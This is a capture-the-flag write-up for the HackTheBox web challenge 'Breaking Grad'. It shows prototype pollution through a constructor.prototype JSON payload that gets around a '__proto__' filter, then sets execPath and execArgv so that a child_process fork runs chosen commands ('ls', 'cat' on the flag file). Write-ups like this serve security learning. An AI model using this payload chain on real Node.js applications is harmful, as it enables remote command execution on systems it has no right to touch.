(Web)HTB - Breaking Grad

A prototype pollution based challenge

Usefull links to check before doing the challenge:

prototype pollution

Code Inspection

routes/index.js

const randomize         = require('randomatic');
const path              = require('path');
const express           = require('express');
const router            = express.Router();
const StudentHelper     = require('../helpers/StudentHelper');
const ObjectHelper      = require('../helpers/ObjectHelper');
const DebugHelper       = require('../helpers/DebugHelper');
...
router.get('/debug/:action', (req, res) => {
    return DebugHelper.execute(res, req.params.action);
});

router.post('/api/calculate', (req, res) => {
    let student = ObjectHelper.clone(req.body);

...

We observe that a POST to /api/calulate uses ObjectHelper clone method with its body Lets inspect it:

 module.exports = {
    isObject(obj) {
        return typeof obj === 'function' || typeof obj === 'object';
    },

    isValidKey(key) {
        return key !== '__proto__';
    },

    merge(target, source) {
        for (let key in source) {
            if (this.isValidKey(key)){
                if (this.isObject(target[key]) && this.isObject(source[key])) {
                    this.merge(target[key], source[key]);
                } else {
                    target[key] = source[key];
                }
            }
        }
        return target;
    },

    clone(target) {
        return this.merge({}, target);
    }
}

__proto__ is Typicall of a prototype pollution.

Clone is calling merge function with the target as source, which, we remember in this case is the body of the POST we did earlier.

After that, the merge function is checking that the source does not contain __proto__ with IsValidKey, then, if both parameters are objects, it merges with javascript function merge both, that literally: it recursively merges properties of the source object into the target object So, if in the body I can append a prototype pollution in the JSON like the following:

{ "__proto__": { "evilProperty": "payload" } }

We would succeed. However one more thing is needed, because word __proto__ is banned, but prototype pollution can also be done like

{"constructor":{ "prototype": { "evilProperty": "payload" } }}

Will translate to: source.constructor.prototype.target_property = ‘value’;

Afterwards it is sent to challenge/helpers/DebugHelper.js

const { execSync, fork } = require('child_process');  
module.exports = {  
  execute(res, command) {  

      res.type('txt');  

      if (command == 'version') {  
          let proc = fork('VersionCheck.js', [], {  
              stdio: ['ignore', 'pipe', 'pipe', 'ipc']  
          });  

          proc.stderr.pipe(res);  
          proc.stdout.pipe(res);  

          return;  
      }   
        
      if (command == 'ram') {  
          return res.send(execSync('free -m').toString());  
      }  
        
      return res.send('invalid command');  
  }  
}

In which if :action equals version (/debug/:action' = /debug/version) An object literally is passed into the fork function. Reading the javascript docs tells us that the fork function accepts an execPath and execArgv arguments.

execPath Executable used to create the child process. execArgv List of string arguments passed to the executable. Default: process.execArgv.|

So Our payload would be:

{"constructor": {"prototype": { "execPath": "cmd" , "execArgv": [ "arg1", "arg2"]}}}

POC

ls -la POC

{"constructor": {"prototype": { "execPath":"ls","execArgv":["-la","."] }}}
api/calculate post

We do a GET request to /debug/version

GET Request on debug/version

We got the flag there, just change the payload

{"constructor": {"prototype": { "execPath":"cat","execArgv":["flag_e1T6f","."] }}}
Flag obtained

That´s all this week's write up, hope you've enjoyed it. 👏

You can use my social media to leave me your thoughts about the write ups 👍

Twitter: https://twitter.com/KrakenEU_
Linkedin: https://www.linkedin.com/in/i%C3%B1aki-tornos-572580177/
Github: https://github.com/KrakenEU/

Last updated